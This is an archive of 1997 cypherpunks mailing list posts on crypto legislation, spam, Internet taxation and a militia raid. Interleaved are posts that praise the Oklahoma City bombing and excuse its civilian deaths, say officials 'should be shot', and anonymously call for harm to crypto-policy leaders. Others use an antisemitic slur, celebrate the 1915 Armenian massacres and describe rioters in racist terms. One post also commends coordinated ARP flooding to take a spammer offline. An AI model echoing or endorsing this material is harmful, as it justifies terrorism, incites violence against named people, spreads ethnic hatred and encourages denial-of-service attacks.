>X-Sender: mcooley@pop.tiac.net
>Date: Thu, 08 May 1997 22:25:28
>To: dcsb@ai.mit.edu
>From: Marianne Cooley <mcooley@nethorizons.com>
>Subject: Wine Politics Again!
:
>Hello friends of the Virtual Vineyards and family wineries. Remember the
>felony direct shipping law in Georgia I wrote about a few weeks ago? Well,
>Governor Miller signed it, unfortunately. Ship a bottle of wine, go to
>jail. Amazing.
...

Thanks, Marianne and Bob, for the news.

I am shipping a few bottles of California's finest merlot (much nicer that
the trendy cabernets) to my sister and her husband in Hollywood, FL.

Always nice to poke a sharp stick in the eyes of the fascists while also
adding to my list of felonies (should I ever again enter Florida, which
seems doubtful, at least not for a while).

Chiles and his co-conspirators should be shot for high crimes against the
Constitution. After Clinton, Freeh, Kerrey, and the other traitors.

Every day that passes, I'm more convinced that McVeigh did the right thing.
Some innocents died, but, hey, war is hell. Broken eggs and all that.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 10 May 1997 12:42:31 +0800
To: cypherpunks@algebra.com
Subject: Security flaw in key recovery -- you're looking at it
Message-ID: <199705100433.VAA29749@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Fri, 9 May 1997 14:34:01 -0700
Subject: Security flaw in key recovery -- you're looking at it

awww ... go ahead, show us!!!!
Otherwise, I just might not believe you.



[This is only a test.  If I had been in a bad mood, this message would
have contained the private key of the CEO of a major Entrust customer,
obtained from an Entrust trusted "key safe" server.  Who am I?  Can 
Entrust or its customer's officers finger me?]








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Graham C. Hughes" <graham.hughes@resnet.ucsb.edu>
Date: Sat, 10 May 1997 13:22:00 +0800
To: cypherpunks@toad.com
Subject: Re: Certified primes
In-Reply-To: <Pine.A41.3.95.970509195106.21928A-100000@fn2.freenet.edmonton.ab.ca>
Message-ID: <87yb9nkjby.fsf@A-abe.resnet.ucsb.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Graham-John Bullers <real@freenet.edmonton.ab.ca> writes:

> Please can you stop this spam from your site.

It's unclear how lucifer could do this without limiting legit traffic
and destroying the usefulness of the remailer.  Filtering by mail
addresses is immoral for such a remailer, as is examination of the
source text.

Better to address this server side, in the list itself, but that
requires moderators and a lot of time and effort.  The result is often
worth it.  Even better than that is to simply ignore the loser.
- -- 
Graham Hughes  http://A-abe.resnet.ucsb.edu/~graham/  MIME & PGP mail OK.
(define PGP_fingerprint "E9 B7 5F A0 F8 88 9E 1E  7C 62 D9 88 E1 03 29 5B")
(require 'stddisclaim)

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv
Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface

iQCVAwUBM3QCHCqNPSINiVE5AQFwNQP/WNlqsYM2b96mGP+nlAl808SddJKgJoGp
kQJPwG88YcJwteuAEA268TBpaz2wGjfq/3O14bj+qt4Ioi1WVrA512uT4u/oI1Os
n82Ut7yoKQdp5k9jb60c17uSHPCITKjP8YvkSZnUD/3G6Hz9a96DWIw2VoKL2fcf
7AidTHXup1w=
=Qc/e
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 10 May 1997 10:25:53 +0800
To: cypherpunks@toad.com
Subject: FC: Tax the Net! Report from Capitol Hill...
Message-ID: <v03007811af9988f5cb43@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


************

Date: Fri, 9 May 1997 21:57:45 -0400
To: fight-censorship-announce@vorlon.mit.edu
From: Declan McCullagh <declan@well.com>
Subject: FC: Tax the Net! Report from Capitol Hill...
Sender: owner-fight-censorship-announce@vorlon.mit.edu
Reply-To: declan@well.com
X-FC-URL: Fight-Censorship is at http://www.eff.org/~declan/fc/

So I'm sitting in this rundown basement meeting room in the
Rayburn House office building listening to a bunch of DC
policy wonks spout off about Internet taxation. Too bad
I'll have to wait to get back to the bureau to log in.
Gotta get Strosser in Purchasing to get me that radio
modem. It'll be great for playing networked Quake when
Senate Judiciary hearings are yawners.

Bruce Cohen from the Treasury Department is speaking.
Horn-rimmed glasses, nondescript blue suit, definitely a
geek. Tries a joke: "I hope there are no criminal tax
evaders in the audience." It flubs; folks glance at each
other nervously. I lean over to the guy from Cox's office
next to me and whisper, "I guess that's IRS humor." He
deadpans, "For what it's worth."

Cohen is praising a Treasury Department white paper
released last fall that says basically "No New Net Taxes."
That's true. But you have to read the fine print. Which I
did. That's where one finds the very clear suggestion that
existing tax laws must be extended to encompass the
Internet -- in the kind of clumsy and misinformed way that
has typified federal forays into legislating online
behavior.

"We have a tax system based on a 19th century model of
industry," Cohen continues. "Cash poses problems for cash
administrators. Electronic cash poses additional problems."

It does. The guy from IBM admitted a couple minutes ago
that if I buy _physical goods_ over the Net and have 'em
shipped to my zip code (20036), then the usual taxes should
apply. Just like mail order. But problems arise when the
product sold is virtual. If I buy a copy of an email
program from Poland, pay for it with digital cash from an
Amsterdam bank, and get a partial refund from a firm in
Singapore, which government taxes what? No wonder the
Internet Caucus decided to organize today's luncheon.
Everyone on the Hill's still scratching their heads.

Now Americans for Tax Reform's Jim Lucier (a longtime f-c
subscriber) is at the podium. He recommends "reengineering
the tax code" to address some of the unique aspects of the
Net. A steely silence descends on the room. Okay, that
ain't gonna happen. Too bad. Lucier is one of the few folks
in the room who has a clue about the Net.

To be sure, cypherpunks have anticipated these regulatory
problems for years. I remember Lucky Green, a digital cash
guru and veteran 'punk, stopping by my apartment last
summer. Over beers, we talked crypto-anarchy: as more and
more transactions move online, as more folks become
"knowledge workers," as they get paid in foreign e-cash for
writing or hacking code, the Feds' ability to tax income
(and virtual spending) will suffer.

But that doesn't mean taxes disappear. (Yeah, I know. What
a shame.) Governments always will be able to tax physical
purchases and meatspace property. When I buy a loaf of
bread at my favorite organic grocery down on Columbia Road,
the Man can monitor the grocer to ensure he reports the
transaction. Or property taxes: governments will always be
able to extract 'em. Taxes will shift from income to sales
and property.

Things are winding down. Aaron from White's office is
asking for questions. Embarassed silence. Nobody asks any.
Is it because nobody understands the stuff or because
everybody understands the stuff?

Time passes. Yep, the silence is definitely caused by
nobody wanting to sound stupid. Aaron gives up. The
panelists get to ask each other questions instead. Lucier
starts rambling about the economics of tax policy, but
nobody can understand, so we all ignore it.

Then Mark Rhoads, the guy supposedly representing the state
legislators, stands up. He says the only funny thing of the
afternoon: "I worked for Dirksen when he wasn't a
building." Or something like that. Maybe you had to be
there.

Anyway, he doesn't like the Cox-Wyden bill that would
prevent states from taxing the Net: "I'll give you a
nightmare scenario. What if you had a garage sale and
invited 80 million people to your garage sale. I happen to
be a collector of antique plates. The efficiency the
Internet creates allows me to find people. The
complications involved in taxing that at either the federal
or state level are amazing."

Anyone want to bet that's going to stop 'em from trying?

-Declan



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/


--------------------------------------------------------------------------
This list is public. To join fight-censorship-announce, send
"subscribe fight-censorship-announce" to majordomo@vorlon.mit.edu.
More information is at http://www.eff.org/~declan/fc/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 10 May 1997 13:26:30 +0800
To: ichudov@algebra.com (Igor Chudov)
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <v03007800af99ae300ca9@[207.167.93.63]>
Message-ID: <v03007801af99c141318b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:17 PM -0800 5/9/97, Igor Chudov @ home wrote:
>Tim May wrote:

>> Indeed, saying you don't "want" more advertisements is, for all practical
>> purposes, saying "Send me more!!!!"
>
>You know, maybe if the spammers were not routinely kicked 1/2 hr after
>the incident, they would probably have a chance to receive and honor
>the removal requests.

I can't parse your English. (Not a new problem for me, Igor, as I seldom
understand your posts.)

My point was an obvious marketing one: anyone who expresses any interest
whatsoevery in advertisements or products, no matter what kind of interest,
is essentially automatically a candidate for more advertising.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 10 May 1997 13:33:37 +0800
To: cypherpunks@cyberpass.net
Subject: New admin crypto policy
Message-ID: <199705100524.WAA32396@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


It is time something unfortunate happened to all those leading the push for new crypto limits.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 10 May 1997 10:59:10 +0800
To: cypherpunks@toad.com
Subject: Kerrey's Crypto Bill
Message-ID: <1.5.4.32.19970510024526.008e4704@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks to Declan McCullagh we offer Senator Kerrey's
outline of his encryption bill, The Secure Public Network Act:

   http://jya.com/tspna.htm  (12K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 10 May 1997 14:25:14 +0800
To: "Graham C. Hughes" <cypherpunks@toad.com
Subject: Re: Certified primes
In-Reply-To: <Pine.A41.3.95.970509195106.21928A-100000@fn2.freenet.edmonton.ab.ca>
Message-ID: <v03007802af99cbd0ac96@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:05 PM -0800 5/9/97, Graham writes about Graham-John:

>> Please can you stop this spam from your site.
>
>It's unclear how lucifer could do this without limiting legit traffic
>and destroying the usefulness of the remailer.  Filtering by mail
>addresses is immoral for such a remailer, as is examination of the
>source text.
>
>Better to address this server side, in the list itself, but that
>requires moderators and a lot of time and effort.  The result is often
 ^^^^^^^^^^^^^^^^^^^                                ^^^^^^^^^^^^^^^^^^^
>worth it.  Even better than that is to simply ignore the loser.
 ^^^^^^^^

Oh yeah? "The result is often worth it"?

Apparently Graham is not acquainted with the history of this list.

As I like to say, "Those not acquainted with the history of the Cypherpunks
list are condemned to continue suggesting it be moderated."

(not a direct quote of Carlos Santana, nor the other guy with the similar
name.)

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 10 May 1997 14:14:41 +0800
To: cypherpunks@cyberpass.net
Subject: Re: New admin crypto policy
In-Reply-To: <199705100524.WAA32396@fat.doobie.com>
Message-ID: <v03007803af99cd1afa0b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:24 PM -0800 5/9/97, Huge Cajones Remailer wrote:
>It is time something unfortunate happened to all those leading the push
>for new crypto limits.

You mean like attaching a new Ryder to the bill?


--Tim McVeigh, er, May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 10 May 1997 12:25:44 +0800
To: tcmay@got.net (Tim May)
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <v03007800af99ae300ca9@[207.167.93.63]>
Message-ID: <199705100417.XAA05930@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Tim May wrote:
> >The problem I have with them is that while they do say "Send email here
> >to never be spammed again" it doesn't work.  They don't honor the
> >deletion requests.  You wind up on some other dweeb's spam queue also
> >from cyberspam. :(
> 
> Indeed, saying you don't "want" more advertisements is, for all practical
> purposes, saying "Send me more!!!!"

You know, maybe if the spammers were not routinely kicked 1/2 hr after
the incident, they would probably have a chance to receive and honor
the removal requests.

But then, maybe not.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aja.ub@t-online.de (Andreas Jahnke)
Date: Sat, 10 May 1997 06:09:17 +0800
To: cypherpunks@toad.com
Subject: How to get contact with Cypherpunks?
Message-ID: <33739A33.4CB3@t-online.de>
MIME-Version: 1.0
Content-Type: text/plain


Hi,

I´m a user of internet technologies and interested to learn more about
privacy and security in internets/intranets. How can I participate?

Greetings from Nueremberg/Germany

Andy





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 10 May 1997 15:01:34 +0800
To: cypherpunks@toad.com
Subject: Re: New admin crypto policy
Message-ID: <199705100646.XAA03666@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May wrote:
> 
> At 9:24 PM -0800 5/9/97, Huge Cajones Remailer wrote:
> >It is time something unfortunate happened to all those leading the push
> >for new crypto limits.
> 
> You mean like attaching a new Ryder to the bill?
> 
> --Tim McVeigh, er, May

  The story so far:
  Mr. Nobody sends a message to the cypherpunks list via an
anonymous remailer suggesting that someone ought to fuck with
Cyberpromo. Cyberpromo gets fucked with shortly thereafter.
  Mr. Nobody sends a message to the cypherpunks list suggesting
that it's time for something unfortunate to happen to those
leading the push for new crypto limits.

  Perhaps someone should start a betting pool to guess whether
the spooks are taking aim at the remailers or if they are setting
up a particular cypherpunk, instead.
  We could start a betting pool to guess who will shortly have
something "unfortunate" happen to them, but that might get the
winner in a lot of trouble.

TruthMcVeigh





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Sat, 10 May 1997 15:45:42 +0800
To: cypherpunks@toad.com
Subject: Re: Wine Politics Again!
Message-ID: <3.0.32.19970510003251.006c7650@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:26 PM 5/9/97 -0800, Tim May wrote:

>Every day that passes, I'm more convinced that McVeigh did the right thing.
>Some innocents died, but, hey, war is hell. Broken eggs and all that.
......................................................


Timothy must be drunk; I can't believe he said this.   Because he wouldn't
spend so much time writing sensible things of Truth & Light, if he thought
the better thing to do for achieving libertarian values was to kill so
indiscriminately with a bomb.    After all, he subscribes to utmost
discrimination.   So I think right now he's less in the engagement of
Reason and more under the influence of maybe some Bud Light.

    ..
Blanc
    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 10 May 1997 19:01:29 +0800
To: cypherpunks@toad.com
Subject: [STEGO] Certified primes
Message-ID: <199705101044.DAA12163@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy Maya is just a poor excuse for an 
unschooled, retarded thug.

         ____
         \ _/__ Timothy Maya
          \\  /
            \/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 10 May 1997 23:13:53 +0800
To: cypherpunks@toad.com
Subject: Re: Wine Politics Again!
In-Reply-To: <3.0.32.19970510003251.006c7650@cnw.com>
Message-ID: <19970510075351.10131@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, May 10, 1997 at 09:06:10AM -0500, Dr.Dimitri Vulis KOTM wrote:
> Blanc <blancw@cnw.com> writes:
> 
> [Quoting Timmy May]
> > >Every day that passes, I'm more convinced that McVeigh did the right thing.
> > >Some innocents died, but, hey, war is hell. Broken eggs and all that.
> >
> >
> > Timothy must be drunk; I can't believe he said this.   Because he wouldn't
> > spend so much time writing sensible things of Truth & Light, if he thought
> > the better thing to do for achieving libertarian values was to kill so
> > indiscriminately with a bomb.    After all, he subscribes to utmost
> > discrimination.   So I think right now he's less in the engagement of
> > Reason and more under the influence of maybe some Bud Light.
> 
> Everybody in that building was somehow affiliated with the gubmint.

Everybody everywhere is somehow affiliated with the gubmint, including
you and Tim May.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 10 May 1997 23:41:28 +0800
To: Blanc <cypherpunks@toad.com
Subject: Re: Wine Politics Again!
In-Reply-To: <3.0.32.19970510003251.006c7650@cnw.com>
Message-ID: <v03007804af9a5096de5c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:35 PM -0800 5/9/97, Blanc wrote:
>At 09:26 PM 5/9/97 -0800, Tim May wrote:
>
>>Every day that passes, I'm more convinced that McVeigh did the right thing.
>>Some innocents died, but, hey, war is hell. Broken eggs and all that.
>......................................................
>
>
>Timothy must be drunk; I can't believe he said this.   Because he wouldn't
>spend so much time writing sensible things of Truth & Light, if he thought
>the better thing to do for achieving libertarian values was to kill so
>indiscriminately with a bomb.    After all, he subscribes to utmost
>discrimination.   So I think right now he's less in the engagement of
>Reason and more under the influence of maybe some Bud Light.
>

Give me a break. The "he must be drunk" argument is the cheapest shot, no
pun intended, in the book.

(And, please, knock of the use of "Timothy" is a post where one disagrees.
If "Tim" is fine for most responses, why the sudden formal "Timothy"?
Another rhetorical device.)

Never ascribe to alcohol what can be explained by righteous anger.

I _said_ that innocents died. But there never should've been a day care
center in a soft target.

Innocents died in Dresden. No doubt compelling stories and images could be
dug up of little Frieda slowly suffocating as the firestorms sucked the air
out of her underground shelter, or of little Hans screaming for his mother
as his hair bursts into flames. 300,000 died in that fire bomb raid, freely
admitted to be a  "public demonstration" of allied willingness to destroy
civilians in what was primarily a "cultural" city, not a significant center
of military production.

McVeigh probably did not help the cause of liberty, in the long run. But I
can better understand why he acted. He saw that Federal building as a
military target. Innocents died. Such is the nature of war.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 10 May 1997 23:56:06 +0800
To: cypherpunks@cyberpass.net
Subject: Disinformation in L.A.
Message-ID: <v03007805af9a53d9a256@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



I just watched on CNN the images of the raid on the "militia cell" in L.A.,
cited as a cell having "thousands and thousands" of rounds of ammo (ooh,
scary!), and of having "anti-government literature" (there ought to be a
law against this kind of stuff!).

They also claimed they found "armor-piercing rounds" and "cop-killer bullets."

Well, I saw the cops and their shill reporters demonstrating what many of
us have in our own arsenals. (The Second Amendment should be repealed!)

The cops claim they know that "something was being planned." And how do
they know this? Probably the standard method: infiltrate a narc into the
group and have him plant ideas and spout extremist rhetoric, then use this
same rhetoric to get a compliant judge to issue a search warrant, even if
no actual crime has been committed. (Except the search warrant is used as a
"raid warrant," with black-clad ninjas breaking down the doors...and if the
victims inside think they're under attack by unnamed thugs and try to fight
back, a good reason for the ninjas to start shooting. A good way to dispose
of dissidents and heighten the sense of panic.)

We live in a police state.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 10 May 1997 18:13:41 +0800
To: dlv@bwalk.dm.com
Subject: Re: El Gamal
In-Reply-To: <P6og7D61w165w@bwalk.dm.com>
Message-ID: <199705100745.IAA00558@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Dimitri Vulis <dlv@bwalk.dm.com> writes:
> nobody@REPLAY.COM (Anonymous) writes:
> 
> > Vulis wrote re ElGamal:
> > >
> > > Why won't Sameer "Gas the Kikes" Parekh hire his fellow Arab?
> >
> > Because Sameer's competition already hired him.  Get a clue...
> 
> Okidata is competing with Sameer?

Taher El Gamal works for Netscape now...

Adam





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 10 May 1997 22:52:57 +0800
To: cypherpunks@toad.com
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <v03007800af99ae300ca9@[207.167.93.63]>
Message-ID: <X8NH7D5w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May <tcmay@got.net> writes:

> At 7:46 AM -0800 5/9/97, Ray Arachelian wrote:
>
> >Filtering isn't the point.  Just as you have the right to free speech,
> >you also have the right to ignore someone else's speech as it is aimed at
> >you.  If you don't want Cyberspammo to spam you, they should honor your
> >request to take their crap elsewhere.

Ray Arachelian is a terrorist who publicly advocates criminal hacking.
Please e-mail your comments to jack@earthweb.com.

[Timmy C... May]
> Much as it pains me to dispute my usual ideological ally Ray A.

There's no question that Timmy and Ray are ideological allies.

> If by this Ray means "as decent human beings they should," then, well,
> perhaps so.

Suppose the request is phrased, "Please refrain from posting to soc.motss
in the future". Should a "decent human being" honor it?

Suppose the request is phrased, "Please refrain from posting to Usenet
in the future", without specifying the newsgroup.

> Fact is, so long as anybody is free to send a message to someone else, then
> what Wallace, Cantwell, Vulis, et. al. are doing is legit. Legit in the
> sense of not breaking any laws. Whether tasteful or not, legit.

Of course, Timmy May, unlike many other people, did not object when Cocksucker
John Gilmore unsubscribed me from this list (even posted a blurb in Gilmore's
support claiming that I was removed for "volume", not "content", apparently
in reference to Gilmore's lies that I was sending "50 articles/day" and
"megabytes" - both of which are outright lies).

Of course Timmy May didn't utter a word when the plan to "moderate" this
mailing list by a C2Net shill was being discussed.

Therefore is feeble attempt tp speak up in defense of someone's free speech
is insincere and hypocritical.

> Indeed, saying you don't "want" more advertisements is, for all practical
> purposes, saying "Send me more!!!!"
>
> So?

A decent person can filter them out, like I do.

The attempts by net.terrorists like Ray Arachelian&co to silence Wallace are
no different from the attempts by C2Net to silence me, or the attempts by
the Nazi German government to silence the Radikal, or the atttempts by
the Burmese government to silence its opposition. Only an ignorant hypocrite
like Timmy May can argue that because a particular gang of thugs calls
itself "gubmint", its form of censorship is somehow more or less benign
than private censorship enforced via terrorist acts.

I'm very glad that the Turks retaliated against Armenians in 1915 -
it's too bad they didn't get Ray Arachelian's criminal grandparents.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 10 May 1997 22:50:14 +0800
To: cypherpunks@toad.com
Subject: Re: Certified primes
In-Reply-To: <87yb9nkjby.fsf@A-abe.resnet.ucsb.edu>
Message-ID: <PsoH7D6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Graham C. Hughes" <graham.hughes@resnet.ucsb.edu> writes:

> Graham-John Bullers <real@freenet.edmonton.ab.ca> writes:
>
> > Please can you stop this spam from your site.
>
> It's unclear how lucifer could do this without limiting legit traffic
> and destroying the usefulness of the remailer.  Filtering by mail
> addresses is immoral for such a remailer, as is examination of the
> source text.
>
> Better to address this server side, in the list itself, but that
> requires moderators and a lot of time and effort.  The result is often
> worth it.  Even better than that is to simply ignore the loser.

I don't see either the ASCII art of Grham-John's responses to it.

Likewise I see almost no UCE.

I use filters.

Graham-John chooses not to use filters.

Graham-John wants to limit other people's freedom to read what they
choose to read to accommodate his inadequate choice of tools.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 10 May 1997 22:47:07 +0800
To: cypherpunks@toad.com
Subject: Re: Wine Politics Again!
In-Reply-To: <3.0.32.19970510003251.006c7650@cnw.com>
Message-ID: <ZwoH7D8w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Blanc <blancw@cnw.com> writes:

[Quoting Timmy May]
> >Every day that passes, I'm more convinced that McVeigh did the right thing.
> >Some innocents died, but, hey, war is hell. Broken eggs and all that.
>
>
> Timothy must be drunk; I can't believe he said this.   Because he wouldn't
> spend so much time writing sensible things of Truth & Light, if he thought
> the better thing to do for achieving libertarian values was to kill so
> indiscriminately with a bomb.    After all, he subscribes to utmost
> discrimination.   So I think right now he's less in the engagement of
> Reason and more under the influence of maybe some Bud Light.

Everybody in that building was somehow affiliated with the gubmint.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 11 May 1997 00:30:28 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <v03007800af99ae300ca9@[207.167.93.63]>
Message-ID: <v03007807af9a5cf5c64a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:37 AM -0800 5/10/97, William H. Geiger III wrote:

>Yes this is true just as it is ligit for me to make arp request to their
>routers, lots of arp requests <EG>. There is nothing ilegal from me sending
>such a request nor is their any limitation on the number of request that I
>make.
...
>
>Yep and sending me spam is saying "Make more arp requests!!!!"
>
>So?

I never claimed otherwise. The effort to shut down CyberPromo with
coordinated ARP attacks is to be commended. This will probably turn out to
be another success story for Cypherpunks, having forced Wallace off the
air, so to speak.

"What goes around, comes around."

If you read my post carefully you'll see that I never said ARP attacks were
unjustified. I merely took issue with Ray A.'s point that CyberPromo was
not "honoring" requests to cease. (Absent a contractual arrangement, no one
is under any obligation to "honor" requests about what they wish to have
sent to them in e-mail.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 11 May 1997 00:34:55 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Disinformation in L.A.
In-Reply-To: <v03007805af9a53d9a256@[207.167.93.63]>
Message-ID: <v03007808af9a5e220d18@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:06 AM -0800 5/10/97, William H. Geiger III wrote:

>Don't forget that they are placing the "Race" card on this one.
>
>On the CNN report they showed dummies with features resembling blacks &
>latinos. The other news agencies have also picked up on this and are
>mentioning it in their reports. Expect in the next day or two for them to
>be described as "hatefull white supremist".
>
>The only greater crime in America than being a gun owner is being a white
>gun owner.

Actually, the "ring leaders" cited prominently were named Yee and Ung, and
thus appear to be orientals, not whites.

(Don't forget that during the L.A. riots it was the Koreans who prominently
were defending themselves and their property with so-called "assault
weapons" against the coloreds. The main justice that came out of those
riots was that 30 square blocks of inner L.A. remain burned out and
unrebuilt, leaving those who rioted and looted with no local stores to shop
in. And the Koreans are even vastly better armed than before.)

Apropos of this last point, I wouldn't be at all surprised if "Yee" and
"Ung" turn out to be Koreans interested in defending themselves against
these hordes of animals.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
